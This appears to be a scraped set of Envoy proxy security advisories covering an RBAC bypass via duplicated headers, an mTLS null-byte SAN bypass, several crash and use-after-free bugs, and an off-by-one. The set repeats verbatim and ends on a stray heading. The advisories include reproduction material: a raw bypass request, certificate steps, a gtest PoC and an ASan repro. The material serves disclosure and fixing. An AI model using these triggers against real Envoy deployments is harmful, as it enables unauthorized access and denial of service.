• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

Envoy’s mTLS certificate matcher for match_typed_subject_alt_names may incorrectly treat certificates containing an embedded null byte (\0) inside an OTHERNAME SAN value as valid matches.

Details

This occurs when the SAN is encoded as a BMPSTRING or UNIVERSALSTRING, and its UTF-8 conversion result is truncated at the first null byte during string assignment. As a result, "victim\0evil" may match an exact: "victim" rule and be accepted by Envoy.

PoC

Create a CA and a server certificate signed by that CA. Create two client certificates signed by the same CA: client_evil with OTHERNAME BMPSTRING = "evil" client_null with OTHERNAME BMPSTRING = "victim\0evil" Configure Envoy with require_client_certificate: true and a match_typed_subject_alt_names entry for the OTHERNAME OID with matcher.exact: "victim". Connect without a client cert → connection rejected. Connect with client_evil → connection rejected. Connect with client_null → connection accepted (but shouldn't!).

Impact

An attacker who can obtain a trusted client certificate with a null byte embedded in an OTHERNAME SAN can exploit this vulnerability. The practical impact is unauthorized impersonation of the matched identity, enabling access to services or APIs protected by that exact OTHERNAME check.

Credit

markevich.nikita1@gmail.com

Summary

Forwarding of early CONNECT data in TCP proxy mode.

Details

Per RFC 7231-4.3.6 the sender of CONNECT (and all inbound proxies) switch to tunnel mode only after receiving 2xx response. However in TCP proxy mode, Envoy accepts client data before it has issued a 2xx response and eagerly proxies it to an established TCP connection. This creates possibility of a de-synchronized tunnel state if a proxy upstream from Envoy responds with a status other an 2xx.

The RFC does not specify the behavior in case an early CONNECT data is received and early CONNECT data is common as a latency reduction mechanism. To prevent disruption to existing deployments Envoy will by default allow early CONNECT data. Setting the envoy.reloadable_features.reject_early_connect_data runtime flag to true will cause CONNECT requests that send data before 2xx response to be rejected. This options should be enabled if there are intermediaries upstream from Envoy that may reject establishment of a CONNECT tunnel.

Impact

De-synchronization of CONNECT tunnel state if a forwarding proxy upstream from Envoy responds with a non 2xx status.

Attack vector(s)

Sending data for a CONNECT request before receiving 2xx response.

Patches

Users should upgrade to v1.36.3, v1.35.7, v1.34.11 or v1.33.13

Credits

chasingimpact (Patrick)

Summary

Envoy crashes when JWT authentication is configured with the remote JWKS fetching, allow_missing_or_failed is enabled, multiple JWT tokens are present in the request headers and the JWKS fetch fails.

Details

This is caused by a re-entry bug in the JwksFetcherImpl. When the first token's JWKS fetch fails, onJwksError() callback triggers processing of the second token, which calls fetch() again on the same fetcher object.

The original callback's reset() then clears the second fetch's state (receiver_ and request_) which causes a crash when the async HTTP response arrives.

PoC

• allow_missing_or_failed or allow_missing is enabled
• The client send 2 Authorization headers
• the remote JWKS fetching failed
• There will be crash

Impact

DoS and Crash

Mitigation

• Disable the allow_missing_or_failed or allow_missing

Summary

A use-after-free (UAF) vulnerability in Envoy's DNS cache causes abnormal process termination. Envoy may reallocate memory when processing a pending DNS resolution, causing list iterator to reference freed memory.

Details

The vulnerability exists in Envoy's Dynamic Forward Proxy implementation starting from version v1.34.0. The issue occurs when a completion callback for a DNS resolution triggers new DNS resolutions or removes existing pending resolutions. This condition may occur in the following configuration:

1. Dynamic Forwarding Filter is enabled.
2. envoy.reloadable_features.dfp_cluster_resolves_hosts runtime flag is enabled.
3. The Host header is modified between the Dynamic Forwarding Filter and Router filters.

Impact

Denial of service due to abnormal process termination.

Attack vector(s)

Request to Envoy configured as indicated above.

Patches

Users should upgrade to v1.35.1 or v1.34.5.

Workaround

Set the envoy.reloadable_features.dfp_cluster_resolves_hosts runtime flag to false.

Detection

Abnormal process termination with the Envoy::Event::DispatcherImpl::runPostCallbacks() frame in the call stack.

Credits

Rohit Agrawal (agrawroh) (rohit.agrawal@databricks.com)

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

2. Attack Scenario

Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

Configuration

The Envoy proxy is configured with a Deny rule to reject requests containing the header internal: true.

• Rule Type: Exact Match
• Target: internal header must not equal true.

The Bypass Logic

1. Standard Request (Blocked):

   • Input: internal: true
   • Envoy Processing: Sees string "true".
   • Result: Match found. Request Denied.

2. Exploit Request (Bypassed):

   • Input:

     internal: true
     internal: true
     

   • Envoy Processing: Concatenates values into "true,true".
   • Matcher Evaluation: Does "true,true" equal "true"? No.
   • Result: The Deny rule fails to trigger. Request Allowed.

3. Implications

• RBAC Bypass: Remote attackers can bypass configured access controls.
• Unauthorized Access: Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
• Risk: High, particularly for deployments relying on "Exact Match" strategies for security blocking.

4. Reproduction Steps

To verify this vulnerability:

1. Deploy Envoy: Configure an instance with an RBAC Deny rule that performs an exact match on a specific header (e.g., internal: true).
2. Baseline Test: Send a request containing the header internal: true.
   • Observation: Envoy blocks this request (HTTP 403).
3. Exploit Test: Send a second request containing the same header twice:

   GET /restricted-resource HTTP/1.1
   Host: example.com
   internal: true
   internal: true
   

   • Observation: Envoy allows the request, granting access to the resource.

6. Recommendations

Fix Header Validation Logic: Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of getAllOfHeaderAsString() for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

Credit: Dor Konis

Summary

Calling Utility::getAddressWithPort with a scoped IPv6 addresses causes a crash. This utility is called in the data plane from the original_src filter and the dns filter.

Details

The crashing function is Utility::getAddressWithPort. The crash occurs if a string containing a scoped IPv6 address is passed to this function.

This vulnerability affects:

1. The original src filter: If the filter is configured and the original source is a scoped IPv6 address, it will cause a crash.
2. DNS response address resolution: If a DNS response contains a scoped IPv6 address, this will also trigger the crash.

PoC

To reproduce the vulnerability:

1. Method A (Original Src Filter): Configure the original src filter in Envoy and provide a scoped IPv6 address as the original source.
2. Method B (DNS Resolution): Trigger a DNS resolution process within Envoy where the DNS response contains a scoped IPv6 address.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts users who have the original src filter configured or whose Envoy instances resolve addresses from DNS responses that may contain scoped IPv6 addresses.

Summary

Envoy’s mTLS certificate matcher for match_typed_subject_alt_names may incorrectly treat certificates containing an embedded null byte (\0) inside an OTHERNAME SAN value as valid matches.

Details

This occurs when the SAN is encoded as a BMPSTRING or UNIVERSALSTRING, and its UTF-8 conversion result is truncated at the first null byte during string assignment. As a result, "victim\0evil" may match an exact: "victim" rule and be accepted by Envoy.

PoC

Create a CA and a server certificate signed by that CA. Create two client certificates signed by the same CA: client_evil with OTHERNAME BMPSTRING = "evil" client_null with OTHERNAME BMPSTRING = "victim\0evil" Configure Envoy with require_client_certificate: true and a match_typed_subject_alt_names entry for the OTHERNAME OID with matcher.exact: "victim". Connect without a client cert → connection rejected. Connect with client_evil → connection rejected. Connect with client_null → connection accepted (but shouldn't!).

Impact

An attacker who can obtain a trusted client certificate with a null byte embedded in an OTHERNAME SAN can exploit this vulnerability. The practical impact is unauthorized impersonation of the matched identity, enabling access to services or APIs protected by that exact OTHERNAME check.

Credit

markevich.nikita1@gmail.com

Summary

Forwarding of early CONNECT data in TCP proxy mode.

Details

Per RFC 7231-4.3.6 the sender of CONNECT (and all inbound proxies) switch to tunnel mode only after receiving 2xx response. However in TCP proxy mode, Envoy accepts client data before it has issued a 2xx response and eagerly proxies it to an established TCP connection. This creates possibility of a de-synchronized tunnel state if a proxy upstream from Envoy responds with a status other an 2xx.

The RFC does not specify the behavior in case an early CONNECT data is received and early CONNECT data is common as a latency reduction mechanism. To prevent disruption to existing deployments Envoy will by default allow early CONNECT data. Setting the envoy.reloadable_features.reject_early_connect_data runtime flag to true will cause CONNECT requests that send data before 2xx response to be rejected. This options should be enabled if there are intermediaries upstream from Envoy that may reject establishment of a CONNECT tunnel.

Impact

De-synchronization of CONNECT tunnel state if a forwarding proxy upstream from Envoy responds with a non 2xx status.

Attack vector(s)

Sending data for a CONNECT request before receiving 2xx response.

Patches

Users should upgrade to v1.36.3, v1.35.7, v1.34.11 or v1.33.13

Credits

chasingimpact (Patrick)

Summary

Envoy crashes when JWT authentication is configured with the remote JWKS fetching, allow_missing_or_failed is enabled, multiple JWT tokens are present in the request headers and the JWKS fetch fails.

Details

This is caused by a re-entry bug in the JwksFetcherImpl. When the first token's JWKS fetch fails, onJwksError() callback triggers processing of the second token, which calls fetch() again on the same fetcher object.

The original callback's reset() then clears the second fetch's state (receiver_ and request_) which causes a crash when the async HTTP response arrives.

PoC

• allow_missing_or_failed or allow_missing is enabled
• The client send 2 Authorization headers
• the remote JWKS fetching failed
• There will be crash

Impact

DoS and Crash

Mitigation

• Disable the allow_missing_or_failed or allow_missing

Summary

A use-after-free (UAF) vulnerability in Envoy's DNS cache causes abnormal process termination. Envoy may reallocate memory when processing a pending DNS resolution, causing list iterator to reference freed memory.

Details

The vulnerability exists in Envoy's Dynamic Forward Proxy implementation starting from version v1.34.0. The issue occurs when a completion callback for a DNS resolution triggers new DNS resolutions or removes existing pending resolutions. This condition may occur in the following configuration:

1. Dynamic Forwarding Filter is enabled.
2. envoy.reloadable_features.dfp_cluster_resolves_hosts runtime flag is enabled.
3. The Host header is modified between the Dynamic Forwarding Filter and Router filters.

Impact

Denial of service due to abnormal process termination.

Attack vector(s)

Request to Envoy configured as indicated above.

Patches

Users should upgrade to v1.35.1 or v1.34.5.

Workaround

Set the envoy.reloadable_features.dfp_cluster_resolves_hosts runtime flag to false.

Detection

Abnormal process termination with the Envoy::Event::DispatcherImpl::runPostCallbacks() frame in the call stack.

Credits

Rohit Agrawal (agrawroh) (rohit.agrawal@databricks.com)

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method:

1. Sets the internal state state_.saw_downstream_reset_ = true.
2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers).
3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filter_manager.cc Function: FilterManager::decodeData

void FilterManager::decodeData(...) {
  if (stopDecoderFilterChain()) { return; }

  // Vulnerability: Missing check for state_.saw_downstream_reset_
  // Execution proceeds into the loop even if the stream is logically dead.

  auto trailers_added_entry = decoder_filters_.end();
  for (; entry != decoder_filters_.end(); entry++) {
      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...
  }
}

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

// Prevent execution on streams that have been reset but not yet destroyed.
if (state_.saw_downstream_reset_) {
  return;
}

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416).

• Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.
• Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE).
• Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture.

• Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination.
• Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombie_stream_poc_test.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

#include "test/common/http/conn_manager_impl_test_base.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"

using testing::_;
using testing::Invoke;
using testing::NiceMock;
using testing::Return;

namespace Envoy {
namespace Http {

/**
 * Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy)
 * * Logic flow:
 * 1. Open a stream with HEADERS.
 * 2. Force a stream reset (simulating an Overload or Timeout).
 * 3. Immediately inject DATA into the stream.
 * 4. ASSERT that the filter's decodeData is called despite the stream being reset.
 */
class ZombieStreamPocTest : public HttpConnectionManagerImplTest {
};

TEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {
  setup(SetupOpts().setTracing(false));

  // 1. Setup a mock filter
  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());
   
  // Vuln confirmation:
  // We expect decodeData to be called on this filter even though the stream is reset.
  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).
  EXPECT_CALL(*filter, decodeData(_, _))
      .Times(1)
      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {
          ENVOY_LOG_MISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!");
          return FilterDataStatus::Continue;
      }));

  EXPECT_CALL(*filter, decodeHeaders(_, false))
      .WillOnce(Return(FilterHeadersStatus::StopIteration));

  // Register the filter
  EXPECT_CALL(filter_factory_, createFilterChain(_))
      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {
        auto factory = createDecoderFilterFactoryCb(filter);
        callbacks.setFilterConfigName("vulnerable_filter");
        factory(callbacks);
        return true;
      }));

  // 2. Start the stream
  EXPECT_CALL(*codec_, dispatch(_))
      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {
        decoder_ = &conn_manager_->newStream(response_encoder_);
        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{
            {":authority", "host"}, {":path", "/"}, {":method", "POST"}}};
        decoder_->decodeHeaders(std::move(headers), false);
        return Http::okStatus();
      }));

  // Dispatch headers
  Buffer::OwnedImpl header_buffer("headers");
  conn_manager_->onData(header_buffer, false);

  // 3. Trigger a Reset on the ActiveStream
  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).
  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);
  
  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()
  active_stream->onResetStream(StreamResetReason::LocalReset, "simulated_overload");

  // 4. Attack: Send DATA to the "Zombie" stream
  // The ActiveStream object is still alive in the deferred delete list.
  Buffer::OwnedImpl malicious_payload("attacker_data");
   
  // This call reaches the filter because FilterManager::decodeData misses the check!
  active_stream->decodeData(malicious_payload, false);
}

} // namespace Http
} // namespace Envoy

Summary

An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt std::string null-termination, causing undefined behavior and potentially leading to crashes or out-of-bounds reads when the resulting string is later treated as a C-string.

Details

The bug is in the control-character escaping path in source/common/common/ json_escape_string.h:67.

• The function pre-sizes result to the final length: std::string result(input.size() + required_size, '\');
• For control characters (0x00..0x1f), it emits a JSON escape sequence of length 6: \u00XX.
• It uses sprintf(&result[position + 1], "u%04x", ...), which writes 5 chars + a trailing NUL (\0) starting at result[position + 1].
• Then it does position += 6; and writes result[position] = '\'; to overwrite the NUL.
• If the control character occurs at the end of the output (e.g., the input ends with \x01), then after position += 6, position == result.size(), so result[position] is one past the end (off-by-one), violating std::string bounds/contract.

Concretely, the problematic lines are:

• source/common/common/json_escape_string.h:69 (sprintf(...))
• source/common/common/json_escape_string.h:72 (result[position] = '\';)

Potentially reachable from request-driven paths that escape untrusted data, e.g. invalid header reporting:

• source/common/http/header_utility.cc:538 ~ source/common/http/ header_utility.cc:546 (escapes invalid header key for error text)

Even when this doesn’t immediately crash, it can break the std::string requirement that c_str()[size()] == '\0', which can later trigger UB (e.g., if passed to strlen, printf("%s"), or any C API that expects NUL termination).

//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer
repro_json_escape_asan.cc -o repro_json_escape_asan
ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <string_view>

static uint64_t extraSpace(std::string_view input) {
  uint64_t result = 0;
  for (unsigned char c : input) {
    switch (c) {
    case '\"':
    case '\\':
    case '\b':
    case '\f':
    case '\n':
    case '\r':
    case '\t':
      result += 1;
      break;
    default:
      if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {
        result += 5;
      }
      break;
    }
  }
  return result;
}

static std::string escapeString(std::string_view input, uint64_t
required_size) {
  std::string result(input.size() + required_size, '\\');
  uint64_t position = 0;

  for (unsigned char character : input) {
    switch (character) {
    case '\"':
      result[position + 1] = '\"';
      position += 2;
      break;
    case '\\':
      position += 2;
      break;
    case '\b':
      result[position + 1] = 'b';
      position += 2;
      break;
    case '\f':
      result[position + 1] = 'f';
      position += 2;
      break;
    case '\n':
      result[position + 1] = 'n';
      position += 2;
      break;
    case '\r':
      result[position + 1] = 'r';
      position += 2;
      break;
    case '\t':
      result[position + 1] = 't';
      position += 2;
      break;
    default:
      if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {
        std::sprintf(&result[position + 1], "u%04x",
static_cast<int>(character));
        position += 6;
        // Off-by-one when this escape is the last output chunk:
        // position can become result.size(), so result[position] is out of
bounds.
        result[position] = '\\';
      } else {
        result[position++] = static_cast<char>(character);
      }
      break;
    }
  }

  return result;
}

int main() {
  std::string input(4096, 'A');
  input.push_back('\x01'); // ends with a control char -> triggers the buggy
path at the end

  const uint64_t required = extraSpace(input);
  std::string escaped = escapeString(input, required);

  std::printf("escaped.size=%zu\n", escaped.size());
  unsigned char terminator = static_cast<unsigned char>(escaped.c_str()
[escaped.size()]);
  std::printf("escaped.c_str()[escaped.size()] = 0x%02x\n", terminator);

  // If NUL termination is corrupted, this can read past the logical end.
  std::printf("strlen(escaped.c_str()) = %zu\n",
std::strlen(escaped.c_str()));
  return 0;
}```

1. Summary

